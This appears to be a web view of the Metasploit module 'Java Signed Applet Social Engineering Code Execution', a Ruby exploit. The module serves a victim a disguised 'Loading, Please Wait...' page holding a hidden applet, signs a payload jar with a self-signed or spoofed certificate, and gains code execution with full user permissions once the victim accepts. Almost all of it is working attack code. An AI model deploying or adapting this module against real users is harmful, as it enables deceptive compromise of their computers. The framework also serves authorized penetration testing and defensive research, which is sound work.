Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_signed_applet.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
include Msf::Exploit::EXE
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Java Signed Applet Social Engineering Code Execution',
19
'Description' => %q{
20
This exploit dynamically creates a .jar file via the
21
Msf::Exploit::Java mixin, then signs the it. The resulting
22
signed applet is presented to the victim via a web page with
23
an applet tag. The victim's JVM will pop a dialog asking if
24
they trust the signed applet.
25
26
On older versions the dialog will display the value of CERTCN
27
in the "Publisher" line. Newer JVMs display "UNKNOWN" when the
28
signature is not trusted (i.e., it's not signed by a trusted
29
CA). The SigningCert option allows you to provide a trusted
30
code signing cert, the values in which will override CERTCN.
31
If SigningCert is not given, a randomly generated self-signed
32
cert will be used.
33
34
Either way, once the user clicks "run", the applet executes
35
with full user permissions.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [ 'natron' ],
39
'References' => [
40
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
41
],
42
'Platform' => %w{java linux osx solaris win},
43
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
44
'Targets' => [
45
[
46
'Generic (Java Payload)',
47
{
48
'Platform' => ['java'],
49
'Arch' => ARCH_JAVA
50
}
51
],
52
[
53
'Windows x86 (Native Payload)',
54
{
55
'Platform' => 'win',
56
'Arch' => ARCH_X86,
57
}
58
],
59
[
60
'Linux x86 (Native Payload)',
61
{
62
'Platform' => 'linux',
63
'Arch' => ARCH_X86,
64
}
65
],
66
[
67
'Mac OS X PPC (Native Payload)',
68
{
69
'Platform' => 'osx',
70
'Arch' => ARCH_PPC,
71
}
72
],
73
[
74
'Mac OS X x86 (Native Payload)',
75
{
76
'Platform' => 'osx',
77
'Arch' => ARCH_X86,
78
}
79
]
80
],
81
'DefaultTarget' => 1,
82
'DisclosureDate' => '1997-02-19',
83
'Notes' => {
84
'Reliability' => UNKNOWN_RELIABILITY,
85
'Stability' => UNKNOWN_STABILITY,
86
'SideEffects' => UNKNOWN_SIDE_EFFECTS
87
}
88
)
89
)
90
91
register_options([
92
OptString.new('CERTCN', [
93
true,
94
"The CN= value for the certificate. Cannot contain ',' or '/'",
95
"SiteLoader"
96
]),
97
OptString.new('APPLETNAME', [
98
true,
99
"The main applet's class name.",
100
"SiteLoader"
101
]),
102
OptPath.new('SigningCert', [
103
false,
104
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
105
]),
106
OptPath.new('SigningKey', [
107
false,
108
"Path to a signing key in PEM format"
109
]),
110
OptString.new('SigningKeyPass', [
111
false,
112
"Password for signing key (required if SigningCert is a .pfx)"
113
]),
114
])
115
end
116
117
def setup
118
load_cert
119
load_applet_class
120
super
121
end
122
123
def on_request_uri(cli, request)
124
if not request.uri.match(/\.jar$/i)
125
if not request.uri.match(/\/$/)
126
send_redirect(cli, get_resource() + '/', '')
127
return
128
end
129
130
print_status("Handling request")
131
132
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
133
return
134
end
135
136
p = regenerate_payload(cli)
137
if not p
138
print_error("Failed to generate the payload.")
139
# Send them a 404 so the browser doesn't hang waiting for data
140
# that will never come.
141
send_not_found(cli)
142
return
143
end
144
145
# If we haven't returned yet, then this is a request for our applet
146
# jar, build one for this victim.
147
jar = p.encoded_jar(:random => true)
148
149
jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
150
151
jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")
152
153
jar.sign(@key, @cert, @ca_certs)
154
# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
155
156
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
157
send_response(cli, jar.to_s, { 'Content-Type' => "application/octet-stream" })
158
159
handler(cli)
160
end
161
162
def load_applet_class
163
data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
164
if datastore["APPLETNAME"]
165
unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
166
fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
167
end
168
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }
169
# Java strings are prefixed with a 2-byte, big endian length
170
find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
171
idx = siteloader.index(find_me)
172
len = [datastore["APPLETNAME"].length].pack("n")
173
# Now replace it with the new class name
174
siteloader[idx, "SiteLoader".length + 2] = len + datastore["APPLETNAME"]
175
else
176
# Don't need to replace anything, just read it in
177
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }
178
end
179
@applet_class = siteloader
180
end
181
182
def load_cert
183
if datastore["SigningCert"]
184
cert_str = File.open(datastore["SigningCert"], "rb") { |fd| fd.read(fd.stat.size) }
185
begin
186
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
187
@cert = pfx.certificate
188
@key = pfx.key
189
@ca_certs = pfx.ca_certs
190
rescue OpenSSL::PKCS12::PKCS12Error
191
# it wasn't pkcs12, try it as concatenated PEMs
192
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
193
@cert = OpenSSL::X509::Certificate.new(certs.shift)
194
@ca_certs = nil
195
while certs.length > 0
196
@ca_certs ||= []
197
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
198
end
199
200
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
201
key_str = File.open(datastore["SigningKey"], "rb") { |fd| fd.read(fd.stat.size) }
202
else
203
key_str = cert_str
204
end
205
206
# First try it as RSA and fallback to DSA if that doesn't work
207
begin
208
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
209
rescue OpenSSL::PKey::RSAError => e
210
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
211
end
212
end
213
else
214
# Name.parse uses a simple regex that isn't smart enough to allow
215
# slashes or commas in values, just remove them.
216
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
217
x509_name = OpenSSL::X509::Name.parse(
218
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
219
)
220
221
@key = OpenSSL::PKey::DSA.new(1024)
222
@cert = OpenSSL::X509::Certificate.new
223
@cert.version = 2
224
@cert.serial = 1
225
@cert.subject = x509_name
226
@cert.issuer = x509_name
227
@cert.public_key = @key.public_key
228
@cert.not_before = Time.now
229
# FIXME: this will break in the year 2037 on 32-bit systems
230
@cert.not_after = @cert.not_before + 3600 * 24 * 365 # 1 year
231
end
232
end
233
234
def generate_html
235
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
236
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
237
html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
238
vprint_line(html)
239
if @use_static
240
html << %Q| code="SiteLoader" width="1" height="1">\n|
241
else
242
html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
243
end
244
html << %Q|</applet>\n</body></html>|
245
return html
246
end
247
248
# Currently unused until we ship a java compiler of some sort
249
def applet_code
250
applet = <<~EOS
251
import java.applet.*;
252
import metasploit.*;
253
254
public class #{datastore["APPLETNAME"]} extends Applet {
255
public void init() {
256
try {
257
Payload.main(null);
258
} catch (Exception ex) {
259
//ex.printStackTrace();
260
}
261
}
262
}
263
EOS
264
end
265
end
266
267
=begin
268
269
The following stores a bunch of intermediate files on the path to creating the signature. The
270
ImportKey class used for testing was obtained from:
271
http://www.agentbob.info/agentbob/79-AB.html
272
273
system("rm -rf signed_jar/*")
274
File.open("signed_jar/cert.pem", "wb") { |f| f.write(@cert.to_s + @key.to_s) }
275
File.open("signed_jar/key.pem", "wb") { |f| f.write(@key.to_s + @key.public_key.to_s) }
276
File.open("signed_jar/unsigned.jar", "wb") { |f| f.write jar.to_s }
277
278
File.open("signed_jar/jarsigner-signed.jar", "wb") { |f| f.write jar.to_s }
279
system("openssl x509 -in signed_jar/cert.pem -inform PEM -out signed_jar/cert.der -outform DER")
280
system("openssl pkcs8 -topk8 -nocrypt -in signed_jar/key.pem -inform PEM -out signed_jar/key.der -outform DER")
281
system("java -cp . ImportKey signed_jar/key.der signed_jar/cert.der")
282
system("mv ~/keystore.ImportKey ~/.keystore")
283
system("jarsigner -storepass importkey signed_jar/jarsigner-signed.jar importkey")
284
285
jar.sign(@key, @cert)
286
File.open("signed_jar/signed.jar", "wb") { |f| f.write jar.to_s }
287
288
=end
289
290